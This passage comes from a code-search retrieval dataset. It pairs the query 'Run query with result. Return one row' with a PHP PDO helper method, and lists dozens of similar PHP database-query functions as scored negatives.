}", "public function execute()\n {\n return $this->riak->execute($this);\n }", "public function doQuery() {\n // Selects all of ads' title and writer's name\n $queryString = \"SELECT title, name FROM advertisements INNER JOIN users ON users.id = advertisements.userid ORDER BY advertisements.id DESC\";\n\n $getAds = $this->sql->query($queryString);\n\n // Store the result array in the $data variable, which can be available by getData() later\n while($rows = $getAds->fetch_array(MYSQLI_ASSOC)) {\n array_push($this->data, $rows);\n }\n }", "public static function query($sql);", "public function Execute( $query ) {\n\t\t$args = array();\n\t\t$sql = $this->GetSql( $query, $args );\n\n\t\t$occurence_adapter = $query->getConnector()->getAdapter( 'Occurrence' );\n\n\t\tif ( in_array( $occurence_adapter->GetTable(), $query->getFrom() ) ) {\n\t\t\treturn $occurence_adapter->LoadMulti( $sql, $args );\n\t\t} else {\n\t\t\treturn $this->getActiveRecordAdapter()->LoadMulti( $sql, $args );\n\t\t}\n\t}", "public function query($query){\n return pg_query($this -> connect(), $query);\n }", "public function _query()\n {\n }", "public function doQuery($sql) {\n\n\t\t$this->_result = $this->_connection->query($sql) or die(mysqli_error($this->_result));\t\t\n\t\treturn $this->_result;\n\n\t}", "public function query($sql);", "public function query($sql);", "public function query($sql);" ]
[ "0.7471857", "0.7263425", "0.7183343", "0.7183343", "0.7183343", "0.71478474", "0.7108061", "0.7055659", "0.6947966", "0.6900899", "0.6889296", "0.6782557", "0.67562586", "0.6687168", "0.668619", "0.66625625", "0.6657654", "0.6655063", "0.6616835", "0.6613857", "0.66004205", "0.65933007", "0.6582133", "0.6562795", "0.65373874", "0.65229464", "0.64973706", "0.6492804", "0.6492804", "0.6489535", "0.64894557", "0.64828366", "0.6477245", "0.6476481", "0.6470798", "0.6463443", "0.64550537", "0.64429206", "0.6431471", "0.64187986", "0.64096767", "0.64026296", "0.6400085", "0.6378504", "0.63778484", "0.63768417", "0.63700897", "0.6360075", "0.635562", "0.6351847", "0.6346884", "0.6346884", "0.6346884", "0.6345567", "0.63336706", "0.6328895", "0.63181025", "0.6315267", "0.6297202", "0.62815106", "0.62811637", "0.627368", "0.6268607", "0.62621456", "0.62597746", "0.62593776", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257929", "0.6257471", "0.6257362", "0.6252612", "0.62463295", "0.62302494", "0.6225951", "0.62220436", "0.6217611", "0.62172997", "0.62151986", "0.62151986", "0.62134266", "0.62090415", "0.6206484", "0.6204962", "0.6200957", "0.61999893", "0.6196769", "0.6196769", "0.6196769" ]
0.0
-1
Run query with result. Return one row
public function queryParamOne($sql, $params = array()) { if ($this->_active == false) { $this->open(); } $stmt = self::$_pdo->prepare($sql); $stmt->execute($params); foreach ($stmt as $row) { return $row; } return null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function get_result_from_query(){\n\t\t$this ->open_connection();\n\t\t$result = $this -> conn -> query($this -> query);\n\t\twhile($this -> rows[] = $result ->fetch_assoc());\n\t\t$result -> close();\n\t\t$this -> close_connection();\n\t\tarray_pop($this -> rows); // Extraé y devuelve el último valor\n\t}", "public function queryRow()\n\t{\n\t\treturn $this->queryInternal('fetch',$this->_fetchMode);\n\t}", "private function execute() {\n $query = $this->db->query($this->sql);\n return $query->result();\n }", "public function exec_SELECTgetSingleRow() {}", "public function get_query_result()\n\t{\n\t\t$sql = \"select * from test_db\";\n\t\t$query = $this->db->query($sql);\n\n\t\t//Complete array result\n\t\t$result = $query->result_array();\n\n\t\t//result of first row\n\t\t$firsts_row = $query->first_row();\n\t}", "public function row() {\n\t\tif ($this->returned) return false;\n\t\t$this->returned = true;\n\t\treturn $this->query;\n\t}", "public function result() {\n $this -> execute();\n return $this -> stmt -> fetch();\n }", "public function run(){\n $sql = $this->sql();\n return $this->query($sql,$this->args);\n }", "public function getResultSingle() {\n $this->execute();\n return $this->statement->fetch(PDO::FETCH_OBJ);\n }", "function one($query) {\n\t\t\n\t\tif ($this->result = mysqli_query( $this->databaseLink, $query )) {\n\t\t\t$this->records = @mysqli_num_rows( $this->result );\n\n\t\t\tif ($this->records) {\n\t\t\t\t$this->arrayedResult = mysqli_fetch_assoc ( $this->result );\n\t\t\t} else {\n\t\t\t\t$this->arrayedResult = array();\t\n\t\t\t}\n\t\t\tmysqli_free_result($this->result);\n\n\t\t\treturn $this->arrayedResult;\n\t\t} else {\n\t\t\t$this->lastError = mysqli_error( $this->databaseLink );\n\t\t\terror_log('one error: ' . $this->lastError . ', query=' . $query);\n\t\t\treturn false;\n\t\t}\n\t}", "public function execute()\n\t{\n\t\t// Use cached results if found (previous count() or other internal call)\n\t\tif($this->activeQueryResults) {\n\t\t\t$results = $this->activeQueryResults;\n\t\t} else {\n\t\t\tif($this->activeQuery instanceof phpDataMapper_Database_Query_Interface) {\n\t\t\t\t$results = $this->query($this->activeQuery->sql(), $this->activeQuery->getParameters());\n\t\t\t\t$this->activeQueryResults = $results;\n\t\t\t} else {\n\t\t\t\t$results = array();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $results;\n\t}", "public function execute()\n {\n \tif ( $this->cur_query != \"\" )\n \t{\n \t\t$res = $this->query( $this->cur_query );\n \t}\n \t\n \t$this->cur_query \t= \"\";\n \t$this->is_shutdown \t= false;\n\n \treturn $res;\n }", "public function singleRow(){\n $this->execute();\n return $this->statement->fetch(PDO::FETCH_OBJ);\n }", "function result()\r\n {\r\n $result = array();\r\n if(!$this->res_id)\r\n {\r\n $this->error_msg = \"Could not execute query to $this->db_name database, wrong result id\";\r\n return 0;\r\n }\r\n $row = mysql_fetch_object($this->res_id);\r\n return $row;\r\n }", "protected function getOne()\n {\n $statement = $this->connection->query($this->sqlToString());\n return $this->fetch($statement);\n }", "public function findOne() {\n $this->buildSql();\n $rows = $this->db->findOne($this->sql);\n return $rows;\n }", "function my_result($query){\r\n\t\t$objQuery = my_query($query);\r\n\t\t$row = $objQuery->fetch_array(MYSQLI_ASSOC); \r\n\t\treturn $row[0]; \r\n\t}", "public function first() {\n $this->limit(1);\n $query = $this->query( $this->_active_query->getQuery(), $this->_active_query->getParams() );\n return new QueryResult($query, TRUE);\n }", "public function execute() {\n $this->query->filter($this->filter);\n $data = $this->query->execute();\n $results = $data['results'];\n\n if (!$results) {\n return;\n }\n\n return entity_load($this->EntityType, array_keys($results));\n }", "public function result(){\n\t\t$this->execute() ;\n\t\treturn $this->statement->fetch(PDO::FETCH_ASSOC) ;\n\t}", "function loadResult() {\n\t\tif (!($cur = $this->query())) {\n\t\t\treturn null;\n\t\t}\n\t\t$ret = null;\n\t\tif ($row = mysql_fetch_row( $cur )) {\n\t\t\t$ret = $row[0];\n\t\t}\n\t\tmysql_free_result( $cur );\n\t\treturn $ret;\n\t}", "function query_one($query,$file='Unknown',$line='Unknown')\n {\n $result = $this->query($query,$file,$line,0);\n if($result && $this->how_many_results($result) > 0) {\n return $this->get_result_array($result);\n }\n return FALSE;\n }", "function getResRow($tsql,$method=PDO::FETCH_ASSOC){ \n $rs=$this->DBH->prepare($tsql);\n $rs->execute();\n $row=$rs->fetch($method);\n \n return $row;\n }", "function executeResult($sql, $onlyOne = false) {\n\t//Mo ket noi toi database\n\t$conn = mysqli_connect(HOST, USERNAME, PASSWORD, DATABASE);\n\tmysqli_set_charset($conn, 'utf8');\n\n\t//query\n\t$resultset = mysqli_query($conn, $sql);\n\n\tif($onlyOne) {\n\t\t$data = mysqli_fetch_array($resultset, 1);\n\t} else {\n\t\t$data = [];\n\t\twhile(($row = mysqli_fetch_array($resultset, 1)) != null) {\n\t\t\t$data[] = $row;\n\t\t}\n\t}\n\t//Dong ket noi\n\tmysqli_close($conn);\n\n\treturn $data;\n}", "protected function execute()\n{\n\t$this->result = $this->db->query($this->getSql());\n\t$this->position = 0;\n\t$this->data = array();\n\n\treturn $this->result;\n}", "public function query($query){ \n\t\tif($r = $this->mysqli->query($query)){\n\t\t\t$rows = array();\n\t\t\twhile(is_object($r) && $row = $r->fetch_assoc()){\n\t\t\t\t$rows[]= $row;\n\t\t\t}\n\t\t\t$result = new DB_result($rows, $query);\n\t\t\treturn $result;\n\t\t}\n\t\techo $this->mysqli->error . \"<br><br>\";\n\t\tdie(\"{$query}\");\n\n\t}", "function FetchRow() {\n\t\t\treturn pg_fetch_row($this->result);\n\t\t}", "protected function get_results_from_query() {\n\t\t\t\t\n\t\t\t\t$this->open_connection();\n\t\t\t\t\n\t\t\t\tif (!$this->conn) {\n\t\t\t\t\tthrow new Excepcion('No se pudo Conectar a la BD: ' . mysql_error());\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\t\t\t\n\t\t\t\t\t$result = $this->conn->query($this->query);\n\t\t\t\t\n\t\t\t\t\t\tif (!$result) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tthrow new Excepcion('No se pudo ejecutar la consulta a la BD: ' . mysql_error());\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn $result;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$result->close();\t\t\t\t\n\t\t\t\t$this->close_connection();\t\t\n\t\t\t\n\t\t}", "protected abstract function executeQuery(Result $result);", "function sql_fetch_row($query) {\n\t\treturn pg_fetch_row($query);\n\t}", "function fetchSingleRow($query) \t{\n\t\tif($query != '') \t\t{\n\t $res = $this->execute($query);\n\t $data = $this->fetchAll($res);\n\t if($data) return $data[0]; \n\t\t}\n\t}", "public function getSingleResult() {\n return mysql_fetch_array($this->result);\n }", "function oneQuery($sql){\n\t\treturn $this->fetch($this->query($sql))[0];\n\t}", "public function fetchSingleRow($result){\r\n\t\t\r\n\t\t$row = mysqli_fetch_assoc($result);\r\n\t\treturn $row;\r\n\t}", "private function executeSingleResultQuery($query){\n\t\t// Perform Query.\n\t\t$result = mysql_query($query);\n\t\t\n\t\t// Fetch row.\n\t\t$result_row = mysql_fetch_row($result);\n\t\t\n\t\t// Return theme name\n\t\treturn json_encode($result_row);\n\t}", "public function fetch()\r\n {\r\n $this->query();\r\n return $this->sth->fetch();\r\n }", "public function execute()\n {\n return $this->query($this->sSql);\n }", "public function single()\n {\n $this->executeQuery($this->statement);\n return $this->fetch($this->statement);\n }", "function db_get_row($result)\n{\n\treturn $result->fetch_assoc();\n}", "public function getResults()\n {\n return $this->execute();\n }", "public function fetch() {\n\t\t$this->checkResultSet();\n\t\treturn $this->fetchRowAssoc();\n\t}", "public function fetchResult();", "public static function queryRow($sql)\n\t{\n\t\t$sql = $sql . ' LIMIT 0,1'; //TODO check not already in $sql!\n\t\t\n\t\t$result = self::$link->query($sql);\n\t\t\n\t\tif(!$result)\n\t\t{\n\t\t\tself::handleError($sql);\n //TODO should probably return here\n\t\t}\n\t\t\n\t\t$row = $result->fetch_assoc();\n\t\t\n\t\t$result->close();\n\t\t\n\t\treturn $row;\n\t}", "protected function db_fetch_row($result)\n {\n return $result->fetch_row();\n }", "public function fetchRow()\n\t{\n\t\t$this->_query();\n\n\t\treturn $this->stmt->fetch(\\PDO::FETCH_ASSOC);\n\t}", "public function doQuery($sql) {\n\n\t\t$this->_result = $this->_connection->query($sql) or die(mysqli_error($this->_result));\t\t\n\t\treturn $this->_result;\n\n\t}", "function db_run_query( $statement ) {\n\n $this->pm_clear_dataset();\n $this->pm_store_statement( $statement );\n $this->pm_debug_statement( $statement );\n if( ! $this->query_is_select ) $this->pm_write_logfile( $statement );\n\n $this->dataset_obj = $this->connection->query( $statement );\n $this->pm_die_if_error( 'dataset_obj' );\n\n if( is_object( $this->dataset_obj )) # updates/inserts/deletes seem to return an integer not an object\n $this->rowcount = $this->dataset_obj->numrows();\n else\n $this->rowcount = ROWCOUNT_NOT_SET;\n\n return $this->dataset_obj;\n }", "public function executeQuery($query) {\r\n\t\t\r\n\t\t$this->mdb2->connect();\r\n\t\t\t\t\r\n\t\t$ResultSet = $this->mdb2->query($query);\r\n\t\t\r\n\t\t$this->mdb2->disconnect();\r\n\t\t\r\n\t\tif (PEAR::isError($ResultSet)) {\r\n\t\t\tdie($ResultSet->getMessage() . \": \" . $query);\r\n\t\t}\r\n\t\t\r\n\t\treturn $ResultSet;\r\n\t\t\r\n\t}", "public function loadResult( $sql ) {\n\t\treturn $this->thedb->queryFirstField($sql);\n }", "public function fetch_single(): mixed\n {\n $sth = $this->query(func_get_args());\n if(is_object($sth)) {\n return $sth->fetch();\n } else {\n return $sth;\n }\n }", "function query($query) {\n\t\treturn $this->dbcr_query( $query, true );\n\t}", "public function query($query){\n $result = mysqli_fetch_array($this->connection->query($query));\n return $result;\n }", "public function executeGetRows($result) {\n try { \n if ($result->execute()) return $result->fetchAll(PDO::FETCH_ASSOC);\n else return 0;\n }\n catch (PDOException $e){ $this->reportDBError($e->getMessage().\"<hr>\".$e->getTraceAsString()); } \n }", "function getOne($query)\r\n\t{\r\n\t\t$this->sql_connectsub();\r\n\t\t$result = mysqli_query($this->connect_id,$query);\r\n\t\t$dbresult=\"\";\r\n\t\tif ($result!=false) { \r\n\t\t\twhile($row = mysqli_fetch_array($result, MYSQLI_NUM)){$dbresult= $row['0'];}\r\n\t\t\treturn $dbresult;\t\r\n\t\t}\r\n\t}", "private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }", "public function execute() { \n return $this -> stmt -> execute();\n }", "public function execute()\n {\n return $this->_execute();\n }", "public function fetch($queryResult);", "function fetchOne($sql)\n\t{\n\t\t$this->sql =& $sql;\n\t\t$queryresult = $this->execute_query(true, $this->connection_master);\n\t\t$returnresult = $this->result($queryresult);\n\t\t$this->free_result($queryresult);\n\t\treturn $returnresult;\n\t}", "public static function queryOne($sql)\n\t{\n\t\t$sql = $sql . ' LIMIT 0,1'; //TODO check not already in $sql!\n\t\t\n\t\t$result = self::$link->query($sql);\n\t\t\n\t\tif(!$result)\n\t\t{\n\t\t\tself::handleError($sql);\n //TODO should probably return here\n\t\t}\n\t\t\n\t\t$row = $result->fetch_row();\n\t\t\n\t\t$result->close();\n\t\t\n\t\treturn $row[0];\n\t}", "public function executeQuery() {\r\n\t\t$query = $this->query;\r\n\t\t$query->matching($query->logicalAnd($this->queryConstraints));\r\n//$parser = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Persistence\\\\Generic\\\\Storage\\\\Typo3DbQueryParser'); \r\n//$queryParts = $parser->parseQuery($query); \r\n//\\TYPO3\\CMS\\Core\\Utility\\DebugUtility::debug($queryParts, 'Query Content');\r\n\t\t$queryResult = $query->execute()->toArray();\r\n\t\t$this->setSelectedPageUids($queryResult);\r\n\t\t$this->resetQuery(); \r\n\t\treturn $queryResult;\r\n\t}", "public function testMultipleResultQueryWithSingleResultStatement() {\r\n $uuid = 'abcdefg';\r\n $bool = true;\r\n $int = 1234567;\r\n $string = 'avorium';\r\n // Write data to the database\r\n $this->executeQuery('insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$uuid.'\\','.($bool ? 1:0).','.$int.', \\''.$string.'\\')');\r\n // Read data out and cast it to persistent object\r\n $query = 'select * from POTEST where UUID = \\'abcdefg\\'';\r\n $pos = $this->getPersistenceAdapter()->executeMultipleResultQuery($query);\r\n $this->assertEquals(1, count($pos), 'Wrong number of database records found.');\r\n }", "public function execute()\n {\n return $this->riak->execute($this);\n }", "public function execute()\n {\n return $this->riak->execute($this);\n }", "function nextResult()\n {\n return $this->dbh->nextResult($this->result);\n }", "public function row($query, $params = NULL)\n\t{\n\t\tif($statement = $this->query($query, $params))\n\t\t\treturn $statement->fetch();\n\t}", "public function query()\n\t\t{\n\t\t\t\n\t\t\t$this->prep = $this->pdo->prepare($this->query);\n\n\t\t\tif($this->prep){\n\t\t\t\t$this->prep->execute();\n\n\t\t\t\treturn $this->prep->fetchall(PDO::FETCH_ASSOC);\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}", "public function sql_fetch_row($result) {\n return @mysql_fetch_row($result);\n }", "public function runQuery(){\n \n $query = $this->getQuery();\n $pager = $this->getPager();\n $modify_result = $this->getModifyResult();\n\n // set default number of results so that we don't output NULL as \n // total_results if there are errors\n $pager->setTotalResults( 0 );\n $results = array();\n \n if( !$this->getResponse()->hasErrors() ){\n \t\n \t $count_query = clone $query;\n\t $pager->setTotalResults( $count_query->count() );\n \t $pager->decorateQuery( $query );\n \n\t if( $pager->getPageSize() > 0 ){\n\t $db_results = $query->find();\n\t foreach( $db_results as $model ){\n\t $result_object = array();\n\t $modify_result( $model, $result_object );\n\t $results[] = $result_object;\n\t }\n\t }\n\t \n }\n \n $api_response_body = $this->getResponse()->getResponseBody();\n $api_response_body->setBody($results);\n \n }", "public function sendQuery($query) {\n $res = $this->sql->query($query);\n\n if (is_bool($res)) {\n return $res;\n }\n return $res->fetch_assoc();\n }", "protected function mysqlRow($query){\n \treturn $this->sp->db->fetchRow($query);\n }", "public function executeSingleton1(string $query)\n {\n $result = $this->query($query);\n $row = $result->fetch_array(MYSQLI_NUM);\n $n = $result->num_rows;\n $result->free();\n\n if ($this->mysqli->more_results()) $this->mysqli->next_result();\n\n if ($n!=1)\n {\n throw new ResultException('1', $n, $query);\n }\n\n return $row[0];\n }", "public function getSingleResult()\n {\n }", "public function get_row($query)\n {\n \t$res=pg_query($this->connection,$query);\n \treturn pg_fetch_assoc($res);\n }", "function query($sql){\n\tglobal $database;\n\t\n\t$ret = $database->query($sql);\n\treturn (!$ret || !$ret->num_rows) ? 0 : $ret->fetch_array()[0];\n}", "public static function query();", "public function executeRow1(string $query): array\n {\n $result = $this->query($query);\n $row = $result->fetch_assoc();\n $n = $result->num_rows;\n $result->free();\n\n if ($this->mysqli->more_results()) $this->mysqli->next_result();\n\n if ($n!=1)\n {\n throw new ResultException('1', $n, $query);\n }\n\n return $row;\n }", "public function queryOne(string $sql)\n {\n return $this->wpdb->get_row($sql, ARRAY_A);\n }", "public function query($query){\n return $this->connection->query($query);\n }", "abstract public function query();", "public function getFromCache_queryRow() {}", "public function execute($query) {\r\n\t\t\r\n\t\t$retval = mysql_query($query, $this->connection);\r\n\t\t$result = mysql_fetch_array($retval, MYSQL_ASSOC);\r\n\t\t\r\n\t\treturn $result;\r\n\t}", "public function ExecuteQuery($query){\n\t\treturn $this->db_con->query($query);\n\t}", "function run_query($query) {\r\n\t \t$db = new Database();\r\n\t \t$queryResult = $db->run_query_internal($query);\r\n\t \treturn mysqli_query($db->getConnection(),$query);\r\n\t }", "public function get_results() {\n\t\t//Begin actual functon\n\t\t$arg_check = $this->query_arg_check();\n\t\t\n\t\t//Check for matching number of arguments in query and arg array\n\t\tif (!$arg_check) {\n\t\t\t$this->except( MYSQLI_ERR_ARG_NUM_MISMATCH , $this->QUERY);\n\t\t} else {\n\t\t\t//Begin running the query\n\t\t\tif ($stmt = $this->connection->prepare($this->QUERY)) {\n\t\t\t\t\n\t\t\t\t$bind_values = array();\n\t\t\t\t$bind_types = '';\n\t\t\t\t$i=0;\n\t\t\n\t\t\t\t//NEW::change made to be able to run queries without having to pass arguments\n\t\t\t\tif(is_array($this->QUERY_ARGS))\n\t\t\t\t{\n\t\t\t\t\tforeach ($this->QUERY_ARGS as $id=>$value) \n\t\t\t\t\t{\n\t\t\t\t\t\t//NEW::change made to be able to run queries without having to pass arguments\n\t\t\t\t\t\tif ($value)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bind_values[$i] = $value['value'];\n\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t$bind_types .= $value['type'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tcall_user_func_array('mysqli_stmt_bind_param',\n\t\t\t\t\t\t\t\t\t array_merge ( array($stmt,$bind_types),\n\t\t\t\t\t\t\t\t\t $this->ref_values($bind_values)\n\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t \n\t\t\t\t$count = $stmt->execute();\n\t\t\t\t\n\t\t\t\t//Get sql result based on query type\n\t\t\t\tswitch ($this->QUERY_TYPE) {\n\t\t\t\t\tcase 'SELECT';\n\t\t\t\t\t\t$result_class_object = $this->fetch_data($stmt);\n\t\t\t\t\t\t$result = $this->std_class_object_to_array($result_class_object);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'INSERT';\n\t\t\t\t\t\t$result = $stmt->insert_id;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault; // UPDATE and others\n\t\t\t\t\t\t$result = $count;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$stmt->close();\n\t\t\t\t\n\t\t\t\treturn $result;\n\t\t\t}\n\t\t}\n\t}", "protected function querySingleResult($sqlQuery){\r\n\t\treturn QueryExecutor2::queryForString($sqlQuery);\r\n\t}", "protected function querySingleResult($sqlQuery){\r\n\t\treturn QueryExecutor2::queryForString($sqlQuery);\r\n\t}", "protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}", "public function query($query)\n {\n $result = $this->db->query($query);\n $result->execute();\n return $result;\n }", "function executequery($result){\t\n\t\twhile($rowsf = mysqli_fetch_assoc($result)){\n\t\t\t$results[] = $rowsf;\n\t\t}\t\n\t\treturn $results;\n\t}", "public function get_one($query)\n {\n \t$res=pg_query($this->connection,$query);\n \t$row=pg_fetch_array($res);\n \treturn $row[0];\n }", "public function execute($sql) {\n $this->result = $this->conn->query($sql);\n return $this->result;\n }", "function dbRow(PDO $db, $sql, array $paramsArray = array()) {\n\treturn executeQuery($db, $sql, $paramsArray, $__returnResultSet = true, $__fetchOnlyOne = true);\n}", "private function RunBasicQuery() {\n // Prepare the Query\n $this->stmt = $this->db->prepare($this->sql);\n \n // Run the Query in the Database\n $this->stmt->execute();\n \n // Store the Number Of Rows Returned\n $this->num_rows = $this->stmt->rowCount();\n \n // Work with the results (as an array of objects)\n $this->rs = $this->stmt->fetchAll();\n \n // Free the statement\n $this->stmt->closeCursor(); \n }", "public static function executeQuery(Sql $db, $query){\n $statement = $db->prepareStatementForSqlObject($query);\n $rs = new ResultSet();\n return $rs->initialize($statement->execute())->buffer();\n }", "public function testSingleResultQuery() {\r\n $uuid = 'abcdefg';\r\n $bool = true;\r\n $int = 1234567;\r\n $string = 'avorium';\r\n // Write data to the database\r\n $this->executeQuery('insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$uuid.'\\','.($bool ? 1:0).','.$int.', \\''.$string.'\\')');\r\n // Read data out and cast it to persistent object\r\n $query = 'select * from POTEST where UUID = \\'abcdefg\\'';\r\n $po = $this->getPersistenceAdapter()->executeSingleResultQuery($query, 'test_persistence_AbstractPersistenceAdapterTestPersistentObject');\r\n // Compare properties\r\n $this->assertEquals($uuid, $po->uuid, 'Uuid value from persistent object differs from the UUID value of the database.');\r\n $this->assertEquals($bool, $po->booleanValue, 'Boolean value from persistent object differs from the boolean value of the database.');\r\n $this->assertEquals($int, $po->intValue, 'Integer value from persistent object differs from the int value of the database.');\r\n $this->assertEquals($string, $po->stringValue, 'String value from persistent object differs from the string value of the database.');\r\n }", "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}" ]
[ "0.73063654", "0.7170955", "0.7138173", "0.71015954", "0.70912033", "0.6951898", "0.692519", "0.69071394", "0.6821293", "0.6783398", "0.67619073", "0.6702496", "0.66439885", "0.65852946", "0.6578199", "0.6575079", "0.65699226", "0.65619576", "0.65424013", "0.653863", "0.6489843", "0.6486677", "0.6474081", "0.64670205", "0.64631253", "0.64613503", "0.6454706", "0.64364386", "0.6435411", "0.6433141", "0.6431439", "0.6426827", "0.642677", "0.6416729", "0.6415548", "0.6414598", "0.6386241", "0.637011", "0.6349375", "0.6329571", "0.6324171", "0.6319269", "0.63174623", "0.63023806", "0.62947965", "0.62909186", "0.6274894", "0.6263739", "0.6261631", "0.62535083", "0.6251452", "0.6243785", "0.62425953", "0.62373936", "0.623668", "0.6231367", "0.62264663", "0.62256557", "0.62230694", "0.62141716", "0.6210942", "0.6209592", "0.620765", "0.620765", "0.6203816", "0.6200722", "0.61942816", "0.61931103", "0.61922795", "0.61881083", "0.61865085", "0.6185869", "0.6181793", "0.61793953", "0.61698437", "0.6166532", "0.6162656", "0.61615944", "0.61608183", "0.61606824", "0.6158568", "0.6156407", "0.6155874", "0.6154566", "0.61527723", "0.6151828", "0.6151828", "0.61446965", "0.614172", "0.6138803", "0.6137305", "0.61357707", "0.61346066", "0.6134548", "0.6132661", "0.6129408", "0.6126461", "0.6126461", "0.6126461", "0.6126461", "0.6126461" ]
0.0
-1
Run query without data INSERT \ UPDATE
public function execute($sql, $params = array()) { $this->setActive(true); $stmt = self::$_pdo->prepare($sql); $res = $stmt->execute($params); if (!$res) { $msg = $stmt->errorInfo()[2] ?? 'error db'; throw new \Exception($msg); } return $res; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function executeQuery() {\n\t\t$recordset = $this->getConnection()->execute( $this );\n\t\t\n\t\tif( $recordset === false ) {\n\t\t\t$this->_recordset = array();\n\t\t} else {\n\t\t\t$this->_recordset = $recordset;\n\t\t}\n\n\t\t$this->_currentRow = 0;\n\t\t$this->isDirty( false );\n\t}", "public function executeFull()\n {\n $this->execute([]);\n }", "public function testOnDatabaseWithoutWhere()\n {\n $q = new ezcQueryInsert( ezcDbInstance::get() );\n // insert some data we can update\n $q->insertInto( 'query_test' )\n ->set( 'id', 1 )\n ->set( 'company', $q->bindValue( 'eZ systems' ) )\n ->set( 'section', $q->bindValue( 'Norway' ) )\n ->set( 'employees', 20 );\n $stmt = $q->prepare();\n $stmt->execute();\n\n $this->q->update( 'query_test' )\n ->set( 'employees', 50 );\n $stmt = $this->q->prepare();\n $stmt->execute();\n\n // check that it was actually correctly updated\n $db = ezcDbInstance::get();\n $q = $db->createSelectQuery(); // get select query\n $q->select( '*' )->from( 'query_test' )\n ->where( $q->expr->eq( 'id', 1 ) );\n $stmt = $q->prepare();\n $stmt->execute();\n $result = $stmt->fetchAll();\n $this->assertEquals( 50, (int)$result[0][3] );\n }", "protected function execute_single_query() \n\t\t{\n \t\t\t$this->open_connection();\n \t\t\t$this->conn->query($this->query);\n \t\t\t$this->close_connection();\n\t\t}", "private function ExecuteQuery()\n\t{\n\t\tswitch($this->querytype)\n\t\t{\n\t\t\tcase \"SELECT\":\n\t\t\t{\n\t\t\t\t$this->stmt->execute();\n\t\t\t\t$this->querydata = $this->stmt->fetchAll(PDO::FETCH_ASSOC);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase \"INSERT\":\n\t\t\tcase \"UPDATE\":\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$this->beginTransaction();\n\t\t\t\t\t$this->stmt->execute();\n\t\t\t\t\t$this->commit();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcatch (PDOException $e)\n\t\t\t\t{\n\t\t\t\t\t$this->rollBack();\n\t\t\t\t\techo(\"Query failed: \" . $e->getMessage());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}", "public function run()\n {\n DB::disableQueryLog();\n parent::run();\n }", "function discardQuery() {}", "protected function execute_single_query() {\n\t\tif($_POST) {\n\t\t\t$this->open_connection();\n\t\t\t$this->conn->query($this->query);\n\t\t\t\n\t\t} else {\n\t\t\t$this->mensaje = 'Metodo no permitido';\n\t\t}\n\t}", "abstract public function NonQuery($sql, $blnWarnNoChanges);", "public function raw($sql) {\n\t\t$this->query ( $sql );\n\t}", "public function flushQuery();", "public function exec($param = null)\n {\n // clone query object in order to prevent where clause stacking\n $loadQuery = clone $this->loadQuery;\n $whereClause = \\array_intersect_key($param, \\array_flip($this->whereFields));\n\n // let's be atomic while we're at it (and where applicable ...)\n // btw, multi insert are not necessarily that faster in real world\n // situation where there is a lot of updates and you need ot keep\n // atomicity using transactions\n DB::transaction(function () use ($loadQuery, $whereClause, $param) {\n if ($loadQuery->where($whereClause)->exists()) {\n $update = \\array_diff_key($param, $whereClause);\n $loadQuery->update($update);\n } else {\n $loadQuery->insert($param);\n }\n });\n }", "public function executeNoDb()\n {\n //return Request::emptyResponse();\n }", "function clearSQL() {}", "public function refresh(): void\n {\n $this->query('SELECT 1')->execute();\n }", "function _execute($sql) {\n\t\t$result = sqlite_query($this->connection, $sql);\n\n\t\tif (preg_match('/^(INSERT|UPDATE|DELETE)/', $sql)) {\n\t\t\t$this->resultSet($result);\n\t\t\tlist($this->_queryStats) = $this->fetchResult();\n\t\t}\n\t\treturn $result;\n\t}", "private function RunBasicQuery() {\n // Prepare the Query\n $this->stmt = $this->db->prepare($this->sql);\n \n // Run the Query in the Database\n $this->stmt->execute();\n \n // Store the Number Of Rows Returned\n $this->num_rows = $this->stmt->rowCount();\n \n // 